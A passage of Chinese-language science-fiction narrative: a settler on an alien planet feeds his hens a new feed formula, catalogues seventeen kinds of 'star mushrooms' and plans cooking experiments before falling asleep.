饲料处理器嗡嗡运转起来。旧的饲料被自动回收,新的配方被打碎搅拌后注入食槽。母鸡们先是一愣,然后有一只大胆的凑上来啄了一口。紧接着所有的鸡都扑了过来,咯咯咯地叫着,争先恐后地啄食。不到一分钟,新配方的饲料被吃得干干净净。那只最先下蛋的母鸡吃完后仰起脖子叫了一声,声音比平时响亮很多。 夏炎序蹲下来,伸手从产蛋箱里摸出今天的最后一颗蛋。他把它握在手心里,温热、光滑、沉甸甸的。他找来一个标记笔,在蛋壳上轻轻写了一个“对照”两个字——这颗蛋是今天的对照组,他要看看明天的鸡蛋和今天相比有没有变化。鸡群在养殖舱里走来走去,一只母鸡跳到栖架上,歪着头看他,橙黄色的眼睛圆溜溜的。他笑了笑,关上了舱门。 回到厨房,他把十几个采集盒整整齐齐地码在台面上。十七种星蕈,编号从1到17,每种都有自己的特征——星蕈1号是浅棕色的,鲜味温和;星蕈2号是深紫色的,鲜味极浓;星蕈7号是浅黄色的,适合鲜食;星蕈9号有一种特殊的果香;星蕈13号的菌褶边缘是淡粉色的,气味像杏仁。他一个一个地闻,一个一个地尝,在终端电子笔记本上记录下每种的特征和初步判断。 窗外,北半球的乌云没有越过赤道。南半球的天空依然晴朗,东方的地平线上已经泛起一线微光。要日出了。 夏炎序有点熬不住了。他活了这么多年,还是第一次打算在白天入睡。他在终端电子笔记本上写下了明天的计划:测试星蕈2号的鲜味强度——做三份蛋炒饭,分别加1克、0.5克、0.2克干粉,找出最佳用量。测试星蕈7号的鲜食效果——煮一锅清汤,只加盐和几朵鲜菇,尝尝汤的味道。测试星蕈9号的果香——做成酱汁,淋在豆腐上。然后给老周寄一份新版蛋炒饭,让他评价鲜味的变化。 他合上终端电子笔记本,关掉灯,戴上眼罩,躺到床上。 角落里,辣白菜的“咕噜”声已经很慢了,酱油的罐子安安静静的,果酒的玻璃罐里偶尔冒出一串气泡。他闭上眼睛,脑海中浮现出深紫色的星蕈2号、浅黄色的星蕈7号、金属绿色的甲虫、森林里斑驳的光影。 北半球比他想的大得多,丰富得多。一颗星球,两个半球,上千种植物,上百种真菌,几十种昆虫。而他只探索了森林边缘的一小片区域。还有湿地、山地、盐碱地、草原、河流、湖泊。还有星芥的十几个品种,星姜的五六个变种,星豆的近亲,星盐草的其他形态。还有他没发现的、报告里没记录的、等着他去找的东西。 夏炎序翻了个身,把被子拉过头顶。 角落里的气泡声越来越慢了。明天还有很多事要做。